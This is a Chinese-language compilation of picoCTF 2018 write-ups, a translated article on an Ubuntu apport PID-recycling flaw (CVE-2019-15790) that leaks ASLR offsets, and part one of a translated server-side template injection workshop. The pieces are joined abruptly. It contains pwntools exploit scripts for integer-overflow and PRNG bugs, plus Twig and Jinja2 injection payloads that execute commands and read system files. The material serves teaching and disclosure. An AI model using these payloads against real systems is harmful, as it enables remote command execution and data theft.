> unix [env](https://www.tutorialspoint.com/unix/unix-environment.htm)
## 题解
主要是熟悉unix下的环境变量. 我们连上题目服务器后, 运行`env|grep pico|cut -d '=' -f2`, 得到flag
mads@pico-2018-shell-2:~$ env|grep pico|cut -d '=' -f2
picoCTF{eNv1r0nM3nT_v4r14Bl3_fL4g_3758492}
# ssh-keyz (150pts)
## 题目
As nice as it is to use our webshell, sometimes its helpful to connect
directly to our machine. To do so, please add your own public key to
~/.ssh/authorized_keys, using the webshell. The flag is in the ssh banner
which will be displayed when you login remotely with ssh to with your
username.
> Hints:
> key generation
> [tutorial](https://confluence.atlassian.com/bitbucketserver/creating-ssh-> keys-776639788.html)
> We also have an expert demonstrator to help you
> along.[link](https://www.youtube.com/watch?v=3CN65ccfllU&list=PLJ_vkrXdcgH-> lYlRV8O-kef2zWvoy79yP&index=4)
## 题解
基本的用私钥登录服务器的教程, 按照教程一步步做, 连上服务器就能看到flag.
一键脚本:
ssh [email protected] 'exit'|grep pico
# picoCTF{who_n33ds_p4ssw0rds_38dj21}
# what base is this? (200pts)
## 题目
To be successful on your mission, you must be able read data represented in
different ways, such as hexadecimal or binary. Can you get the flag from this
program to prove you are ready? Connect with `nc 2018shell2.picoctf.com
15853`.
> Hints:
> (1) I hear python is a good means (among many) to convert things. (2) It
> might help to have multiple windows open
## 题解
连上之后就是给一系列的不同进制的数据, 然后按要求转换之后给答案.
我们可以用python的[pwntools](http://docs.pwntools.com/en/stable/)库与程序交互,
`re`模块完成字符串查找, python 本身进行进制转换, 给出一键脚本如下
#coding:utf-8
from pwn import *
import re
context.log_level = 'error'
sh = remote('2018shell2.picoctf.com', 15853)
msg1 = sh.recv()
t1 = re.findall('([01]{8})', msg1)
t1 = ''.join(map(lambda x:chr(int(x,2)), t1))
sh.sendline(t1)
msg2 = sh.recv()
t2 = re.findall('([0-9a-f]{8,})', msg2)
sh.sendline(t2[0].decode('hex'))
msg3 = sh.recv()
t3 = re.findall("(\d{3})", msg3)
t3 = ''.join(map(lambda x:chr(int(x, 8)), t3))
sh.sendline(t3)
print re.findall('(picoCTF{.*})', sh.recv())[0]
# picoCTF{delusions_about_finding_values_3cc386de}
# you can't see me (200pts)
## 题目
'...reading transmission... Y.O.U. .C.A.N.'.T. .S.E.E. .M.E. ...transmission
ended...' Maybe something lies in /problems/you-can-t-see-me_3_1a39ec6c80b3f3a18610074f68acfe69.
> Hints:
> (1) What command can see/read files? (2) What's in the manual page of ls?
## 题解
进入到目录之后, `ls -al`发现有隐藏文件`.`, 其实后面还有两个空白字符, 在服务器上可以用`tab`键补全就可以查看到了, 这里给个一键脚本:
ssh -q [email protected] "cat /problems/you-can-t-see-me_3_1a39ec6c80b3f3a18610074f68acfe69/.\ \ "
# absolutely relative (250pts)
## 题目
In a filesystem, everything is relative ¯_(ツ)_/¯. Can you find a way to get a
flag from this [program
[1]](https://2018shell2.picoctf.com/static/94e0cff2fa6fb11f5c85edccb8144415/absolutely-relative) ? You can find it in /problems/absolutely-relative_4_bef88c36784b44d2585bb4d2dbe074bd on the shell server. [Source
[2]](https://2018shell2.picoctf.com/static/94e0cff2fa6fb11f5c85edccb8144415/absolutely-relative.c) .
> Hints:
> (1) Do you have to run the program in the same directory? (⊙.☉)7 (2) Ever
> used a text editor? Check out the program 'nano'
## 题解
给了C源码
#include <stdio.h>
#include <string.h>
#define yes_len 3
const char *yes = "yes";
int main()
{
char flag[99];
char permission[10];
int i;
FILE * file;
file = fopen("/problems/absolutely-relative_4_bef88c36784b44d2585bb4d2dbe074bd/flag.txt" , "r");
if (file) {
while (fscanf(file, "%s", flag)!=EOF)
fclose(file);
}
file = fopen( "./permission.txt" , "r");
if (file) {
for (i = 0; i < 5; i++){
fscanf(file, "%s", permission);
}
permission[5] = '\0';
fclose(file);
}
if (!strncmp(permission, yes, yes_len)) {
printf("You have the write permissions.\n%s\n", flag);
} else {
printf("You do not have sufficient permissions to view the flag.\n");
}
return 0;
}
程序大概就是先从一个文件读取flag, 然后再读取一个`permission.txt`文件前五个字符,
再判断读取到的permission的前三个字符是否为`yes`, 是的话输出flag, 不是的话提示权限不足.
我们进入服务器上题目文件夹下, `ls -al`查看文件权限
total 76
drwxr-xr-x 2 root root 4096 Sep 28 07:42 .
drwxr-x--x 576 root root 53248 Sep 30 03:50 ..
-rwxr-sr-x 1 hacksports absolutely-relative_4 8984 Sep 28 07:42 absolutely-relative
-rw-rw-r-- 1 hacksports hacksports 796 Sep 28 07:42 absolutely-relative.c
-r--r----- 1 hacksports absolutely-relative_4 37 Sep 28 07:42 flag.txt
发现没有`permission.txt`文件, 并且flag文件也没法读. 根据题目提示`absolutely
relative`以及注意到源码中读取`permission.txt`是通过相对路径读取的, 于是我们可以伪造`permission.txt`.
我们首先进入家目录, 把源程序拷贝过来, 创建`permission.txt`并写入`yes`, 运行`./absolutely-relative`,
You have the write permissions.
发现过了permission的判断, 但是并没有打印出flag, 我们看下权限`ls -al`
-rwxr-xr-x 1 mads mads 8984 Sep 28 07:42 absolutely-relative
发现`cp`过来之后ownership变成了自己, 当然是读不了`flag`. 由于这里权限不足, 就算`cp -p`也是不行的.
但是可以用软链接的形式将源程序链接到家目录, `ln -s /problems/absolutely-relative_4_bef88c36784b44d2585bb4d2dbe074bd/absolutely-relative
~/`,再运行就可以得到flag了
mads@pico-2018-shell-2:~$ ./absolutely-relative
You have the write permissions.
picoCTF{3v3r1ng_1$_r3l3t1v3_3b69633f}
# in out error (275pts)
## 题目
Can you utlize stdin, stdout, and stderr to get the flag from this [program
[1]](https://2018shell2.picoctf.com/static/2ecf92ada9cb40149cb4a2154441f678/in-out-error) ? You can also find it in /problems/in-out-error_3_9eb10797d687f70cfce62e7c9c2bdea6 on the shell server
> Hints:
> (1) Maybe you can split the stdout and stderr output?
## 题解
本题考查linux的标准输出、标准错误流, 我们可以利用`>`将两种流重定向到其他地方, 从而分离流的内容, 得到flag.
echo 'Please may I have the flag?'|./in-out-error 1>/dev/null
发现打印出很多一样的flag
# learn gdb (300pts)
## 题目
Using a debugging tool will be extremely useful on your missions. Can you run
this [program
[1]](https://2018shell2.picoctf.com/static/58c2e42eecc19e464af2c0dac8da7a77/run)
in gdb and find the flag? You can find the file in /problems/learn-gdb_0_716957192e537ac769f0975c74b34194 on the shell server.
> Hints:
> (1) Try setting breakpoints in gdb (2) Try and find a point in the program
> after the flag has been read into memory to break on (3) Where is the flag
> being written in memory?
## 题解
主要考察gdb的基本使用. 我们先用gdb打开程序, `disassemble main`查看`main`函数的汇编代码
# gdb -q run
gef➤ disassemble main
Dump of assembler code for function main:
0x00000000004008c9 <+0>: push rbp
0x00000000004008ca <+1>: mov rbp,rsp
0x00000000004008cd <+4>: sub rsp,0x10
0x00000000004008d1 <+8>: mov DWORD PTR [rbp-0x4],edi
0x00000000004008d4 <+11>: mov QWORD PTR [rbp-0x10],rsi
0x00000000004008d8 <+15>: mov rax,QWORD PTR [rip+0x200af9] # 0x6013d8 <stdout@@GLIBC_2.2.5>
0x00000000004008df <+22>: mov ecx,0x0
0x00000000004008e4 <+27>: mov edx,0x2
0x00000000004008e9 <+32>: mov esi,0x0
0x00000000004008ee <+37>: mov rdi,rax
0x00000000004008f1 <+40>: call 0x400650 <setvbuf@plt>
0x00000000004008f6 <+45>: mov edi,0x4009d0
0x00000000004008fb <+50>: call 0x400600 <puts@plt>
0x0000000000400900 <+55>: mov eax,0x0
0x0000000000400905 <+60>: call 0x400786 <decrypt_flag>
0x000000000040090a <+65>: mov edi,0x400a08
0x000000000040090f <+70>: call 0x400600 <puts@plt>
0x0000000000400914 <+75>: mov eax,0x0
0x0000000000400919 <+80>: leave
0x000000000040091a <+81>: ret
End of assembler dump.
容易发现解密flag的函数是在`0x0000000000400905`, 我们可以在下一条指令下一个断点
gef➤ b *0x000000000040090a
Breakpoint 1 at 0x40090a
跑起来, 在断点出断下来之后, 根据题目打印信息提示获取`flag_buf`全局变量的值即可.
gef➤ x (char *)flag_buf
0x602260: "picoCTF{gDb_iS_sUp3r_u53fuL_a6c61d82}"
# roulette (350pts)
## 题目
This Online [Roulette
[1]](https://2018shell2.picoctf.com/static/191a3b6cb7dd34093f5d660ffa07b570/roulette)
Service is in Beta. Can you find a way to win $1,000,000,000 and get the flag?
[Source
[2]](https://2018shell2.picoctf.com/static/191a3b6cb7dd34093f5d660ffa07b570/roulette.c)
. Connect with nc `2018shell2.picoctf.com 25443`
> Hints:
> (1) There are 2 bugs!
## 题解
题目是一个模拟赌场小程序, 提示有两个bug, 经过审计源代码可以发现两个bug分别是:
1. 伪随机问题
在`main`函数发现我们的初始`cash`是通过`get_rand`函数获得的, 看一下`get_rand`
long get_rand() {
long seed;
FILE *f = fopen("/dev/urandom", "r");
fread(&seed, sizeof(seed), 1, f);
fclose(f);
seed = seed % 5000;
if (seed < 0) seed = seed * -1;
srand(seed); // bug1
return seed;
}
发现在获取到一个随机数之后, 直接作为随机数种子, 并且返回. 也就是说我们得到的初始`cash`就是伪随机发生器的种子,
这意味着我们可以知道每次要猜的值是多少.这里也给出随机数生成代码:
2. 逻辑漏洞+长整型溢出
程序中的`get_long`函数用户获取用户输入的一个`long`数字, 并且判断有没有溢出, 看下源码:
long get_long() {
printf("> ");
uint64_t l = 0;
char c = 0;
while(!is_digit(c))
c = getchar();
while(is_digit(c)) {
// bug2
if(l >= LONG_MAX) {
l = LONG_MAX;
break;
}
l *= 10;
l += c - '0';
c = getchar();
}
while(c != '\n')
c = getchar();
return l;
}
乍一看好像没问题, 我们貌似没法溢出. 但仔细手模一下会发现, 判断溢出的代码写在`while`语句开头的地方, 也就是说, 我们输入的数字s,
只要s[:-1]转换成long没有溢出, 但是整个串还是可以溢出！因为溢出我们输入的是回车字符, 就可以直接跳出循环.
根据程序思路, 有两个要求要满足, 要`cash > ONE_BILLION` 和 `wins > HOTSRWAK(3)`才能拿到flag.
于是整体思路整理如下:
1. 利用伪随机赢下三次
2. 利用长整型溢出漏洞拿到flag
exp如下:
#coding:utf-8
import re,subprocess
from pwn import *
sh = remote('2018shell2.picoctf.com', 25443)
m1 = sh.recvuntil('> ')
balance = re.findall('\$(\d{1,4})', m1)[0]
rand = subprocess.check_output(['./rand', balance]).split('\n')
print 'round 1...'
sh.sendline('1')
sh.recvuntil('> ')
sh.sendline(rand[0])
sh.recvuntil('> ')
print 'round 2...'
sh.sendline('1')
sh.recvuntil('> ')
sh.sendline(rand[2])
sh.recvuntil('> ')
print 'round 3...'
sh.sendline('1')
sh.recvuntil('> ')
sh.sendline(rand[4])
sh.recvuntil('> ')
print 'getting flag...'
sh.sendline('3294967296')
sh.recvuntil('> ')
sh.sendline(str(int(rand[6])+1))
sh.recvuntil('flag!\n')
print sh.recv()
# picoCTF{1_h0p3_y0u_f0uNd_b0tH_bUg5_8b7aef91}
# Store (400pts)
## 题目
We started a little [store
[1]](https://2018shell2.picoctf.com/static/5f775969757dd025afe50827eb9db223/store)
, can you buy the flag? [Source
[2]](https://2018shell2.picoctf.com/static/5f775969757dd025afe50827eb9db223/source.c)
. Connect with 2018shell2.picoctf.com 53220.
> Hints:
> (1) Two's compliment can do some weird things when numbers get really big!
## 题解
题目提示补码, 顺着题意, 题目大概就是一个模拟商店, 卖两种商品, 一个是仿制的flag, 一个1000. 一个是真flag, 需要100000.
初始金钱只有1100. 程序中有加减乘除的地方就是买假flag的地方:
if(auction_choice == 1){
printf("Imitation Flags cost 1000 each, how many would you like?\n");
int number_flags = 0;
fflush(stdin);
scanf("%d", &number_flags);
if(number_flags > 0){
int total_cost = 0;
total_cost = 1000*number_flags; // 这里
printf("\nYour total cost is: %d\n", total_cost);
if(total_cost <= account_balance){
account_balance = account_balance - total_cost;
printf("\nYour new balance: %d\n\n", account_balance);
}
else{
printf("Not enough funds\n");
}
}
}
程序中变量都是`int`型, 也就是有符号整数型, 在购买假flag时, `number_flags`变量乘上了1000,
这里就可能存在结果超越了有符号整数型的最大正数`2147483647`, 从而变成一个负数, 然后后面的语句`account_balance =
account_balance - total_cost;`就会导致`account_balance`在购买了假flag之后反而变多了.
根据题意需要`100000`购买真flag, 我们做一下数学题.
account_balance - (input * 1000 - 2^32) > 100000
我们算出一个值, `4294868`输入给`number_flags`即可获得flag. exp如下
#coding:utf-8
from pwn import *
import re
context.log_level = "error"
sh = remote("2018shell2.picoctf.com",53220)
sh.recv()
sh.sendline('2')
sh.recv()
sh.sendline('1')
sh.recv()
sh.sendline('4294868')
sh.recv()
sh.sendline('2')
sh.recv()
sh.sendline('2')
sh.recv()
sh.sendline('1')
sh.recv()
msg = sh.recv()
flag = re.findall("(picoCTF{.*})", msg)[0]
print flag # picoCTF{numb3r3_4r3nt_s4f3_cbb7151f}
# script me (500pts)
## 题目
Can you understand the language and answer the questions to retrieve the flag?
Connect to the service with nc 2018shell2.picoctf.com 8672
> Hints:
> (1) Maybe try writing a python script?
## 题解
这道题很有意思, 根据给出的一些计算规则, 计算复杂的组合式.
() + () = ()() => [combine]
((())) + () = ((())()) => [absorb-right]
() + ((())) = (()(())) => [absorb-left]
(())(()) + () = (())(()()) => [combined-absorb-right]
() + (())(()) = (()())(()) => [combined-absorb-left]
(())(()) + ((())) = ((())(())(())) => [absorb-combined-right]
((())) + (())(()) = ((())(())(())) => [absorb-combined-left]
() + (()) + ((())) = (()()) + ((())) = ((()())(())) => [left-associative]
仔细观察题目可以发现, 这些计算规则无非就是结合与左右吸收, 结合就是简单连接, 左右吸收都是简单的吸收到第一个半括号内.
我们需要寻找的就是什么时候做这些操作. 也就是说, 他是根据什么来判断是该结合还是该左吸收还是右吸收. 我这里发现一个规律(当然可能并不是唯一解):
判断的原则是表达式中的括号的最大深度. 比如`()`深度是1, `(())`深度是2, `(())(())`深度也是2. 于是拿到一个简单的二元表达式,
计算思路是:
1. 计算两个元素s1, s2的最大深度w1, w2.
2. 如果w1==w2相等, 则直接`combine`, return s1+s2;
3. 如果w1>w2, 则 return s1[:-1] + s2 + s1[-1];
4. 如果w1<w2, 则 return s1[1] + s2 + s1[1:];
于是拿到一串要计算的表达式, 整体思路就是:
1. 获取各个表达式元素
2. 根据`left-associative`原则, 从左往右两两计算
exp如下:
#coding:utf-8
import sys,re
from pwn import *
def get_weight(s):
w = 1
wm = 1
for i in s[1:]:
if i == '(':
w+=1
else:
w-=1
if w>wm:
wm = w
return wm
def add(e1,e2):
w1 = get_weight(e1)
w2 = get_weight(e2)
if w1 == w2:
return e1+e2
elif w1>w2:
return e1[:-1] + e2 + e1[-1]
else:
return e2[0] + e1 + e2[1:]
def calc(ea):
r = ea[0]
for i in range(1, len(ea)):
r = add(r, ea[i])
return r
print 'connecting...'
sh = remote('2018shell2.picoctf.com', 8672)
sh.recvuntil('.\n')
print 'round 1...'
e = sh.recvline().split(' = ')[0]
a = calc(e.split(' + '))
sh.recvuntil('> ')
sh.sendline(a)
for i in range(4):
print 'round '+ str(i+2) +'...'
e = re.findall('(\([() +]+\))', sh.recvuntil('> '))[0]
a = calc(e.split(' + '))
sh.sendline(a)
print 'receiving flag...'
sh.recvuntil('flag')
flag = re.findall('(picoCTF{.*})', sh.recv())[0]
print flag # picoCTF{5cr1pt1nG_l1k3_4_pRo_0970eb2d} | 社区文章 |
# 利用Ubuntu的错误报告功能实现本地提权（LPE）part3
##### 译文声明
本文是翻译文章，文章原作者 github，文章来源：securitylab.github.com
原文地址：<https://securitylab.github.com/research/ubuntu-apport-CVE-2019-15790>
译文仅供参考，具体内容表达以及含义原文为准。
这篇文章将重点介绍apport CVE-2019-15790，这个漏洞允许本地攻击者可以获取他启动(或重启)的进程的ASLR偏移量。
## 简介
这个漏洞不容易在源代码中找到。相反，它与使用PIDs作为授权令牌有关，内核调用Apport来为崩溃的进程生成错误报告，apport的命令行参数之一是进程的PID。虽然进程崩溃了，但它并没有从PID表中删除，因为这要等到apport报告生成完成之后才会发生。这让apport能够在`/proc/[pid]`中读取有关崩溃进程的更多信息。并将其包含在错误报告中。那如果我通过发送`SIGKILL`信号更快地结束进程，会发生什么呢？
1. 1.由于PID被回收，是否有可能为新进程分配相同的PID？
2. 2.如果为一个新进程分配了相同的PID，是否可以检测到已发生这种情况？
第一个问题的答案是肯定的，第二个问题的答案是否定的。原因是可用的pid池非常小。在一个默认安装的Ubuntu中只有32768个，因此PID作为一个令牌标记是非常不可靠的。这让我能够欺骗Apport泄露不属于我的进程的信息。
## Exploit方案
对于如何构造这个漏洞的Exploit，我有两个想法。
### 方案A（失败的）
我的第一个想法是让这个漏洞来规避我在CVE-2019-7307
exploit中遇到的问题，在本系列的第二篇文章中讨论了这个问题。这里的问题是apport查看`/proc/[pid]/stat`的所有权，来确定错误报告属于谁。但是`/proc/[pid]/stat`属于root所有，所以我无法查看错误报告。如果我使用PID回收机制将`/proc/[PID]/stat`替换为我拥有的文件，会发生什么?能让我查看错误报告吗?
我写了一个exploit来做到这一点，并且几乎有用。但问题是apport很早就检查了
`/proc/[pid]/stat`所有权。也就表示该exploit需要在apport检查所有者之前向崩溃的进程发送一个`SIGKILL`。内核使用管道将核心转储文件发送到apport的`stdin`。因为从进程表中删除了进程，内核将中止发送剩余的核心转储文件。不过，我发现第一个64KB的核心转储文件已成功写入错误报告，管道确实有缓冲区。不幸的是，这还不足以包含我想要窃取的那部分信息。如果管道缓冲区更大，这将起作用。我差点就要完成exploit了。
### 方案B
方案A无效，但我意识到可以用一种相反的方式来利用这个漏洞，方案A的主要思路是在特权进程崩溃后取得其PID的所有权。相反，方案B是在特权进程为其分配回收之前的PID，故意让属于自己的进程崩溃。这不允许我访问特权进程的核心转储文件，因为核心转储文件将来自我故意崩溃的进程。但它能够让我访问apport从`/proc/[pid]`中读取的额外信息，这些信息包含在错误报告中。其中最有价值的是`/proc/[pid]/maps`，它包含进程的ASLR偏移量。
这是方案B的简图：
该图显示的时间向下走动。从最上面开始，以下是发生的事件:
1. 1.启动一个`/bin/sleep`进程，该进程将获得分配的PID(例如1234).
2. 2.发送一个`SIGSEGV`到PID(1234)，这会触发内核启动apport并为`/bin/sleep`发送一个内核转储文件.
3. 3.暂停apport.
4. 4.等待特权进程启动(并分配PID 1234).
5. 5.恢复apport.
6. 6.Apport为`/bin/sleep`创建一个错误报告，其中包含特权进程的ASLR偏移量。
当然，还有一些细节问题需要解决。这个exploit取决于特权进程被分配与`/bin/sleep`相同的PID。确保这一点的最简单方法是反复启动和停止进程，直到它获取正确的PID，但这可能需要一段时间。所以我需要暂停apport。否则，apport将很快完成，并读取`/bin/sleep`的ASLR偏移量，我并不关心这些。
## 实现exploit
我的POC源代码已经公布在[GitHub](https://github.com/github/security-lab/blob/8a4842917730357bf43d3148fb4fb0b3a7d5b9d6/SecurityExploits/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/restart_whoopsie.cpp)上。这个漏洞可以用于获取任何进程的ASLR偏移量，前提是可以控制进程何时创建。但是，我将目标对准了whoopsie，因为它可以帮我完成在第二篇文章中的漏洞利用链，需要知道我可以根据需求随时重启whoopsie守护进程，因为它有一个堆溢出漏洞，我可以使用它来触发`SIGSEGV`。下一篇文章将介绍如何利用堆溢出来获取whoopsie用户的代码执行，但是首先我需要知道ASLR的偏移量。
exploit按照我描述的方案执行，并采用了我在前一篇文章中描述的许多相同的技术。例如，它使用inotify监控`/var/crash/.lock`来检测apport何时启动。但我需要使用一种新技术来暂停apport和重启whoopsie，注意，大约需要15秒才能使whoopsie崩溃并重新启动，这使暂停变得至关重要。这个exploit暂停apport需要调用[第452行](https://git.launchpad.net/ubuntu/+source/apport/tree/data/apport?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n452)的get_pid_info和[第500行](https://git.launchpad.net/ubuntu/+source/apport/tree/data/apport?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n500)的add_proc_info：
get_pid_info(pid)
# Partially drop privs to gain proper os.access() checks
drop_privileges(True)
# *** Lines 454-499 omitted ***
info.add_proc_info(pid)
这是因为`get_pid_info`读取`/proc/[pid]`中的文件来确定谁拥有这个进程，然后
`add_proc_info`读取`/proc/[pid]/maps`。这表示，在`get_pid_info`被调用时PID需要属于我所拥有的进程，但是到`add_proc_info`调用时，PID需要被回收并重新分配给whoopsie守护程序。
我之所以能够暂停apport是因为在第455行调用了`drop_privileges`，它将apport改变为”partially drop
privs”(取消部分特权)状态。这个状态允许我向apport发送信号，因为它仍然具有root
EUID，从而让它有读取系统上任何文件的特权！因此，我可以向apport发送`SIGSTOP`，这会在whoopsie崩溃并重新启动时暂停该进程。然后，我向apport发送一个`SIGCON`T，使它恢复。
遗憾的是，由于inotify对`/proc`中的文件不起作用，我无法在精确的时间发送`SIGCONT`。相反，我必须循环发送，直到信号被接受。
### PID Feng Shui
我如何确保whoopsie获得的PID与我故意崩溃的`/bin/sleep`相同?如上所述，在默认安装的Ubuntu中，pid是从一个32768的池中依次分配的。当这个数字达到32768时，它将变为0。假如我想要whoopsie从PID
10000开始。基本思路是不断地启动和停止无关的进程，直到我得到一个带有PID
9999的进程。下一个被分配的PID将会是10000，所以这就是whoopsie会获得的PID，前提是在whoopsie启动之前，不会启动另一个随机进程。我编写了一个名为`fork_child_with_pid`的程序，它可以启动和停止一些无关的进程。我遇到的问题是，大约15秒在新的Whoopsie进程启始的同时总是启动`/lib/systemd/systemd-udevd`进程。这意味着在whoopsie和udev进程之间存在争夺PID的竞争，这增加了一些不稳定性，并降低了whoopsie获得我想要的PID的机会。但这并不是一个大问题，因为whoopsie大约有33％的时间被分配到了正确的PID。
在这篇文章中描述的exploit使我能够获取whoopsie守护程序的ASLR偏移量。在本系列的最后一篇文章中，我将使用这些偏移量来成功利用whoopsie中的堆溢出漏洞，并以whoopsie用户获得代码执行权限。 | 社区文章 |
# 详解模板注入漏洞（上）
|
##### 译文声明
本文是翻译文章，文章原作者 gosecure，文章来源：gosecure.github.io
原文地址：<https://gosecure.github.io/template-injection-workshop/#0>
译文仅供参考，具体内容表达以及含义原文为准。
## 1.简介
所谓模板注入，又称服务器端模板注入（SSTI），是2015年出现的一类安全漏洞。James
Kettle在2015年黑帽大会上进行的演讲，为多个模板引擎的漏洞利用技术奠定了坚实的基础。要想利用这类安全漏洞，需要对相关的模板库或相关的语言有一定程度的了解。
首先，本文将对模板注入漏洞进行相应的介绍，帮读者深入了解各种攻击模式，以更好地识别潜在的漏洞。然后，我们将考察5种不同的模板引擎，并且这些模版各有特色。其中，对于每个模板引擎，我们都会提供一个练习，其中含有已“暴露”模板引擎的Web应用程序。
### **所需软件**
在软件方面，唯一的要求是安装相应的HTTP拦截代理。
1. Burp Suite
2. OWASP ZAP
如果你只安装了Web浏览器的话，将无法完成本文描述的实验。但是，这并不妨碍您继续阅读下面的内容。
### 运行应用程序
为了完成这个练习，您需要自己运行实验中的应用程序。并且，为了便于部署，所有应用程序都可以提供docker容器获取。
1. 下载代码。
$ git clone https://github.com/GoSecure/template-injection-workshop
1. 阅读构建说明（详见%application_dir%/README.md），注意，对于不同的应用程序，这一步回有所不同。
2. 使用docker-compose启动应用程序。
$ docker-compose up
### 配置DNS（可选）
为了使相关的链接可以正常使用，您可以在本地主机文件（/etc/hosts或C:\Windows/system32\drivers\etc\hosts）中添加如下所示的一行内容：
127.0.0.1template-injection.gosec.co
### 相关视频
您可以通过视频观看完整的研讨会。通过视频，您可以聆听所有的讲解，并观看所有练习的演示过程。为此，您可以在新窗口中打开相应的YouTube页面，来查看各章节的内容。
## 2\. 模板注入
借助于模板引擎，开发人员就可以在应用程序中使用静态模板文件了。在运行时，模板引擎会用实际值替换模板文件中的相关变量，并将模板转化为HTML文件发送给客户端。这种方法使设计HTML页面变得更加轻松。
虽然模板是静态部署的，但高度可配置服务（SaaS）的出现使得一些模板库可以直接“暴露”在互联网上。这些看似非常有限的模版库其实比许多开发者想象的要强大得多。
### 数据绑定示例
在模板中，开发人员需要为动态值定义静态内容和占位符。在运行时，模板将交由引擎处理，以映射模板中的动态值引用。
Hello {{firstName}} {{lastName}}!
简单模板示例
模板是通常以脚本的形式提供，它的作用不仅仅是简单的数据绑定。因为数据结构可能很复杂（比如列表和嵌套对象），所以，模板通常会提供一些类似于编程的功能。例如，模板引擎可能会允许访问对象的相关字段，具体如下所示：
Hello {{user.firstName}} {{user.lastName}}!
嵌套属性示例
像上面这样的嵌套属性并不会直接交由语言进行处理，相反，而是由引擎来解析占位符内的动态值user.firstName。引擎将直接调用方法或字段firstname。这种语法通常简单紧凑，以便于使用。同时，由于这些语法通常非常强大，以至于可以脱离简单数据绑定的上下文。
### 突破常规思维
为了滥用模板引擎，攻击者需要充分利用模板引擎所提供的各种功能。
如果引擎允许访问字段，就可以访问我们感兴趣的内部数据结构。进一步，这些内部数据结构可能具有我们想覆盖的状态。因此，它们可能会暴露出强大的类型。
如果引擎允许函数调用，那么，我们的目标就是读取文件、执行命令或访问应用程序的内部状态的函数。
实际上，后面的六个练习就是演示如何通过各种技术来达到上述目的的。
## 3\. 识别模板引擎
目前，已经存在大量的模板库。实际上，我们可以在每种编程语言中找到几十个库。在实践中，如果我们把自己限制在最流行的库中，当我们知道使用的语言时，我们可以将注意力集中在2到3个潜在的库上面。
C#（StringTemplate，Sharepoint上动态使用的ASPX）。
Java(Velocity、Freemarker、Pebble、Thymeleaf和Jinjava)
PHP（Twig、Smarty、Dwoo、Volt、Blade、Plates、Mustache、Python、Jinja2、Tornado、mustache和String
Template）。
Go (text/template)
### 启发式方法
与其盲目地测试每一个已知的payload，不如以某种程度的置信度来确认所使用的技术。另外，最终的payload可能需要进行一些调整，以符合特定的运行时环境的要求。
下面是James
Kettles提出的决策树，可以用来识别所使用的模板。这个决策树是由简单的评估组成的，其中的表达式无法适用于每一种技术。由于这些都是非常基本的表达式，所以当一个模版库的新版本发布时，这些表达式也不会很快变得过时。当然，相关的方法名和高级语法可能会随着时间的推移而发生变化。
图1 决策树
## 4\. LAB 1：Twig (PHP)
### 简介
Twig可能是PHP最流行的模板库，它是由Synfony（一个非常流行的PHP框架）的创建者开发的。在我们的练习中，我们还将用到Craft
CMS，它是一个内部使用Twig的内容管理系统。
### 模板语法基础知识
Twig语法不仅简单，而且非常紧凑。下面是几个基本的变量绑定的例子。
Hello {{ var }}
Hello {{ var|escape }}
变量绑定示例
参考资料：Twig官方文档
### 攻击面
对于Twig来说，其变量_self暴露了Twig内部的许多API。下面是一个恶意的payload，可以用来攻击registerUndefinedFilterCallback函数。在下面的有效载荷中，命令id被执行后，将返回当前用户的id（Linux）。
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
命令执行示例
### 练习
为了完成本练习，请连接到相应的Web服务器：http://template-injection.gosec.co:8012/。
它将提供一个非常简单的表单，其中只有一个字段。
在这个表单中，您可以提交一个简单的表达式来确认模板是否用于显示值。下面的表达式将进行减法运算。
{{1338-1}}
上面减法运算的结果，应该显示为1337
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
执行id命令
id命令的结果应该是：
uid=33(www-data) gid=33(www-data) groups=33(www-data)
您能访问服务器上的flag.txt文件吗？
## 5\. LAB 2：Jinja2（Python）
### 简介
Jinja是Python中一个流行的模板引擎，它与Django模板非常相似。不过，与Django模板相比，Jinsa可以轻松地在运行时动态使用。Django模板被设计为存储在静态文件中的动态视图。
### 模板语法基础知识
下面是几个简单的表达式，用于演示Jinja的基本语法。
//String
{{ message }}
//Accessing an attribute
{{ foo.bar }}
//Accessing an attribute (alternative)
{{ foo['bar'] }}
基本的变量绑定
参考文献：Jinja官方文档
### 攻击面
实际上，Python元数据属性可以从任何Python对象中读取。此外，方法调用也不会被过滤。不过，获取诸如命令执行等强大的操作权限可并不简单。
**Jinja漏洞利用的基础知识**
我们可以通过元属性__class__来访问类。
{{''.__class__}}
<type 'str'>
从任何类中，我们都可以获得Method Resolution Order(MRO)对象。MRO对象包含当前类型的类层次结构。
{{''.__class__.__mro__}}
<type 'str'>, <type 'basestring'>, <type 'object'>
通过之前找到的类型对象，我们可以列出其所有子类。实际上，这相当于枚举了当前上下文中加载的所有类。不过，到底有哪些可用的类，这完全取决于应用程序的导入操作。在Jinja2中，导入操作是不容易触发的。
{{''.__class__.__mro__[2].__subclasses__()}}
<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'> [...]
我们可以从上面的列表中挑选任何类型，并调用这些类型的方法。对象子类列表中索引40对应的元素是({{”.__class__.__mro__[2].__subclasses__()[40])。我们可以使用该类型来读取任意文件。
{{''.__class__.__mro__[2].__subclasses__()[40]("/etc/passwd","r").read()}}
//The previous extension is analog to
file("/etc/passwd","r").read()
上面的payload仅适用于Python 2.7。
参考资料：
Exploring SSTI in Flask/Jinja2 – Part 2
Cheatsheet – Flask & Jinja2 SSTI
**使用subprocess.Popen**
在这里，我们需要努力寻找的一个强大类型是subprocess.Popen。
在Python 3.8中，它的索引可能是245。当然，这个索引值会根据加载的模块的不同而有所变化。
{{[].__class__.__mro__[1].__subclasses__()[396]}}
<class 'subprocess.Popen'>
在Python 2.7中，它的索引可能是245。
{{[].__class__.__mro__[1].__subclasses__()[245]}}
<class 'subprocess.Popen'>
执行指令：
{{[].__class__.__mro__[1].__subclasses__()[245]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}
